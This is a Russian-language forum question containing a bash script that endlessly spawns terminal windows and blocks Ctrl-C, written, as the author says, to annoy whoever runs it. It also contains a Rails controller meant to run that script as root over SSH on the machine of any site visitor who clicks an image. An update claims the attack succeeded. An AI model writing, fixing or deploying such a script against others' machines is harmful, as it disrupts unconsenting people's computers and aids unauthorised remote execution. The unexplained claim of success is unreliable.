У меня есть этот bash-скрипт, который многократно открывает терминал без возможности их закрытия и сохраняет один за другим. Цель состоит в том, чтобы раздражать любого, кто выполнил эту программу. Вот его исходный код:
#!/bin/bash
while true
do
gnome-terminal -x sh -c "./<name-of-script.sh>; bash"
clear
sleep 1
trap '' 2
exit
done
Я проверил это, и оно работает так, как я хочу. Я пытаюсь выполнить этот скрипт на удаленном хосте. На сайте ruby on rails я установил изображение, чтобы попытаться запустить этот скрипт, нажав на него. Когда кто-то делает это, он запускает функцию контроллера call_script2, и вот что у меня есть:
def call_script2
remote_ip = request.ip
#system("scp /home/ncs/<script.sh> root@#{remote_ip}:/root/")
system("ssh root@#{remote_ip} sudo home/ncs/./<script.sh>")
render 'script/index'
end
Я пытаюсь выполнить содержимое сценария bash на удаленном хосте, когда они нажимают на определенное изображение. Как вы можете видеть, я попытался загрузить скрипт хоста в корневой каталог, а затем попытался запустить программу bash безуспешно. Я прекрасно использую что-то кроме SSH, если не смог.
Пожалуйста, не стесняйтесь поделиться своими мыслями по этому поводу и спасибо, что нашли время, чтобы прочитать мой пост. Хорошего дня!
Обновление: мне удалось достичь этой цели с помощью следующего:
system("ssh -t root@#{remote_ip} DISPLAY=:0 ./Thorgrim.sh")
Спасибо всем, кто прокомментировал этот пост, чтобы выручить меня!